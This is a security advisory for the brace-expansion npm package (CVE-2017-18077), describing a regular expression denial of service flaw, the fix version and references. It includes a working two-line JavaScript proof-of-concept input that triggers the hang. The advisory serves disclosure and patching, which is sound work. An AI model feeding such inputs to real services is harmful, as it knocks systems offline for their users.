Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

References

• https://nvd.nist.gov/vuln/detail/CVE-2017-18077
• juliangruber/brace-expansion#33
• juliangruber/brace-expansion#35
• juliangruber/brace-expansion@b133812
• GHSA-832h-xg76-4gv6
• https://www.npmjs.com/advisories/338
• https://bugs.debian.org/862712